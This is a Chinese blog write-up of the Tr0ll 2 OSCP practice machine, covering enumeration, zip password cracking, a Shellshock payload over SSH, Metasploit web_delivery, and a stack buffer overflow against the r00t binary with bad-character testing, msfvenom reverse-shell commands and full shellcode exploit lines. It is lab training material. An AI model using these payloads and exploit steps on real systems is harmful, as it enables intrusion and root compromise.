OSCP(基础篇靶机Tr0ll 2)

第一步:nmap和dirb

 

第二步:通过robots.txt构造dir目录进行dirb  

 

第三步:图片都长一样,下载图片文件分析,发现大小有异,着重查看dont_bother下载的

 strings cat_the_troll3.jpg

 

第四步:nmap中扫描存在21 ftp服务(Tr0ll/Tr0ll)

 

第五步:获取下一个目录:y0ur_self,answer.txt中为base64转码,转码进行zip压缩包密码暴力破解(fcrackzip)

vi base64
base64 --decode base64 | sort | uniq > decoded

fcrackzip进行压缩包密码暴力破解(专门用来破解zip密码) 利用手法:https://zhuanlan.zhihu.com/p/435382861?utm_id=0

fcrack.zip官网下载:http://oldhome.schmorp.de/marc/fcrackzip.html

1.首先尝试update命令
sudo apt-get update

2.如果不行则执行upgrade
sudo apt-get upgrade

3.最后上面两项都不行则尝试
sudo apt-get install aptitude

成功以后使用

sudo apt-get install fcrackzip

命令:fcrackzip -u -D -p decoded lmao.zip

 ItCantReallyBeThisEasyRightLOL解压出noob ssh登陆秘钥

 

第六步:使用noob秘钥登陆

chmod 700 noob
ssh noob@192.168.56.107 -i noob

----------------------------------------------------------------------

ssh证书失效了的原因,在后面加一段命令-o PubkeyAcceptedKeyTypes=+ssh-rsa

ssh -vv noob@192.168.56.107 -i noob

显示ssh调试信息

Remote:Forced command

https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
how can shellshock be exploited over SSH?
---------------------------------------------------------------------
ssh noob@192.168.56.107 -i noob '() { :;}; echo SHELLSHOCK'
ssh noob@192.168.56.107 -i noob '() { :;}; /bin/bash'

---------------------------------------------------------------------------------

ssh noob@192.168.56.107 -i noob  -o PubkeyAcceptedKeyTypes=+ssh-rsa '() { :;}; /bin/bash'

可成功获取shell

 

第七步:换取更稳定shell(方法一:写入秘钥)

ssh-keygen -b 2048 -t rsa

 echo "pub_KEY" > .ssh/authorized_keys

ssh noob@192.168.56.107 -I .ssh/id_rsa 进行连接(因为连接存在问题,换了台kali重做)

 

 

第七步:换取更稳定shell(方法二:使用 Web Delivery 进行命令注入攻击(Linux、Windows))

https://www.hackingarticles.in/command-injection-exploitation-using-web-delivery-linux-windows/
msfconsole
use exploit/multi/script/web_delivery
set lhost KALIIP
set lport 4444
show options
run

 

第七步:换取更稳定shell(方法三:python)

 

第八步:权限提升,使用find命令列举特权用户信息,获取r00t线索

find / -perm -4000 2>/dev/null ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

 看来入口没有错,尝试缓冲区是否可溢出

 /nothing_to_see_here/choose_wisely/door?目录下r00t

 

第九步:r00t程序缓冲区溢出获取root权限

 1.栈是用来存储临时变量,函数传递的中间结果。
 2.操作系统维护的,对于程序员是透明的。

EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。

EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

我们可能只强调了它的后进先出的特点,至于栈实现的原理,没怎么讲?下面我们就通过一个小例子说说栈的原理。
先写个小程序:
void fun(void)
{
   printf("hello world");
}
void main(void)
{
  fun()
  printf("函数调用结束");
}
这是一个再简单不过的函数调用的例子了。
当程序进行函数调用的时候,我们经常说的是先将函数压栈,当函数调用结束后,再出栈。这一切的工作都是系统帮我们自动完成的。
但在完成的过程中,系统会用到下面三种寄存器:
1.EIP
2.ESP
3.EBP
当调用fun函数开始时,三者的作用。
1.EIP寄存器里存储的是CPU下次要执行的指令的地址。
 也就是调用完fun函数后,让CPU知道应该执行main函数中的printf("函数调用结束")语句了。
2.EBP寄存器里存储的是是栈的栈底指针,通常叫栈基址,这个是一开始进行fun()函数调用之前,由ESP传递给EBP的。(在函数调用前你可以这么理解:ESP存储的是栈顶地址,也是栈底地址。)
3.ESP寄存器里存储的是在调用函数fun()之后,栈的栈顶。并且始终指向栈顶。
 

 Linux下Shellcode编写:https://cloud.tencent.com/developer/article/1930058

当调用fun函数结束后,三者的作用:
1.系统根据EIP寄存器里存储的地址,CPU就能够知道函数调用完,下一步应该做什么,也就是应该执行main函数中的printf(“函数调用结束”)。
2.EBP寄存器存储的是栈底地址,而这个地址是由ESP在函数调用前传递给EBP的。等到调用结束,EBP会把其地址再次传回给ESP。所以ESP又一次指向了函数调用结束后,栈顶的地址。
写shellcode数据库:http://www.shell-storm.org/shellcode/index.html

尝试程序是否可缓冲区溢出,过量输出会退出,door3的r00t有点像

./r00t $(python -c 'print "A" * 1000') 确定存在

 locate pattern_create 定位pattern_create.rb脚本位置

我们只要在pattern_create.rb脚本的后面加上-L字符序列长度就可以生成指定长度的字符序列,查看了1000的长度即可

pattern_create.rb -l 1000

 linux使用gdb加载执行r00t程序发生溢出时来跟踪EIP的值

 r (pattern from pattern_create.rb)   

 这边r跑下这个值,提示故障表示已经溢出了:0x6a413969

locate pattern_offset    计算偏移量

Metasploit下的pattern_offset.rb,首先我们先查看pattern_offset.rb脚本的帮助信息
这边-q 是执行Aa0A(溢出值的6a413969)
-----------------------------------------------------------
pattern_offset.rb -q (string from gdb)

pattern_offset.rb -q 6a413969

 发现偏移量是268

进行ASLR的查询,发现结果是0.说明没有开启。检查checksec保护机制,无开启地址空间随机化。

 

最终我的规划是EBP为0x41414141('AAAA');EIP为0x42424242('BBBB'),进而找到ESP,得到ESP的下一跳地址

268A+4B=0x42424242   (注意door变来变去的)

 r $(python -c 'print "A"*268 + "B"*4')

r $(python -c 'print "A"*268 + "B"*4 + "C"*100')   ESP肯定是4,然后任意写C看看是不是真的被B完全覆盖4,C后续填充x90还有shellcode

 42就是B,我们可以知道这里B覆盖了EIP的值,这意味着我们把B改为SHELLCODE的地址,就可以执行了

info r

(注意)下面拼接好shellcode就可以。exp的构造./r00t $(python -c 'print "A"偏移量 + "ESP" + "\x90"20 + "shellcode"'),拿到root权限。

  x90为nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式。攻击者通过输入字符串注入攻击代码。在实际的攻击代码前注入很长的  nop  指令 (无操作,仅使程序计数器加一)序列,只要程序的控制流指向该序列任意一处,程序计数器逐步加一,直到到达攻击代码的存在的地址,并执行。

 

栈随机化指运行时栈的起始地址为随机的,所以程序中存放   各函数返回地址   的地址也会发生对应的改变。可防止运行相同程序的相同系统因易预测栈地址而易于攻击。

反弹提权
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "\x00\x09\x0a\x20" EXITFUNC=thread -f c
原地提权
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc

然后用坏字符替换C位置,防止shellcode中存在坏字符影响运行
(gdb) r $(python -c 'print "A"*268+"B"*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')

能看到1-8是正常的,后门就全乱了,怀疑0x08后面的0x00和0x09是个坏字符,至于后面全乱序猜测是因为0x0a换行符的问题。重新来,去掉0x09和0x0a:

好看多了,但是从0x20又开始乱了,去掉0x20后门就好了。

坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节\x00) \x00 \x0a \x09 \x20

 

msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc

 

  ./r00t $(python -c 'print "A" * 268 + "BBBB" + "\x90" * 16 + "(MSFVENOM PAYLOAD)"')

MSFVENOM我们预留100就够了 PAYLOAD:

 \xbf\xa2\x06\x41\x9a\xda\xd2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x78\x11\x03\x78\x11\xe2\x57\x6c\x4a\xc2\x0e\x23\x2a\x9a\x1d\xa7\x3b\xbd\x35\x08\x4f\x2a\xc5\x3e\x80\xc8\xac\xd0\x57\xef\x7c\xc5\x60\xf0\x80\x15\x5e\x92\xe9\x7b\x8f\x21\x81\x83\x98\x96\xd8\x65\xeb\x99

r $(python -c 'print "A" * 268 + "BBBB" + "\x90" * 16 + "\xbf\xa2\x06\x41\x9a\xda\xd2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x78\x11\x03\x78\x11\xe2\x57\x6c\x4a\xc2\x0e\x23\x2a\x9a\x1d\xa7\x3b\xbd\x35\x08\x4f\x2a\xc5\x3e\x80\xc8\xac\xd0\x57\xef\x7c\xc5\x60\xf0\x80\x15\x5e\x92\xe9\x7b\x8f\x21\x81\x83\x98\x96\xd8\x65\xeb\x99"')

命令:i r esp(查看浮点)

得到了ESP的位置是0xbffffb10

./r00t $(python -c 'print "A" * 268 + "\x80\xfc\xff\xbf" + "\x90" * 16 + "\xbf\xa2\x06\x41\x9a\xda\xd2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x78\x11\x03\x78\x11\xe2\x57\x6c\x4a\xc2\x0e\x23\x2a\x9a\x1d\xa7\x3b\xbd\x35\x08\x4f\x2a\xc5\x3e\x80\xc8\xac\xd0\x57\xef\x7c\xc5\x60\xf0\x80\x15\x5e\x92\xe9\x7b\x8f\x21\x81\x83\x98\x96\xd8\x65\xeb\x99"'

 即使我发现 esp 的位置是 0xbffffb10 但我不能将此偏移量用作外壳位置。 我必须稍微增加或减少偏移量,因为当二进制文件在调试时内存是不同的。

 

具体怎么做定位shellcode地址:https://www.cnblogs.com/lsdb/p/15873140.html 

 

 

我kali生成的shellcode存在问题

下面才可行:

通用:27 Bytes setuid(0) ^ execve("/bin/sh", 0, 0) Shellcode

https://packetstormsecurity.com/files/88877/27-Bytes-setuid-0-execve-bin-sh-0-0-Shellcode.html

./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90" * 16 + "\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80"')

 

./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\xbb\x75\xc8\xc9\xe2\xd9\xec\xd9\x74\x24\xf4\x5f\x33\xc9\xb1\x0b\x83\xc7\x04\x31\x5f\x11\x03\x5f\x11\xe2\x80\xa2\xc2\xba\xf3\x61\xb3\x52\x2e\xe5\xb2\x44\x58\xc6\xb7\xe2\x98\x70\x17\x91\xf1\xee\xee\xb6\x53\x07\xf8\x38\x53\xd7\xd6\x5a\x3a\xb9\x07\xe8\xd4\x45\x0f\x5d\xad\xa7\x62\xe1"')

 

 

posted @   justdoIT*  阅读(141)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示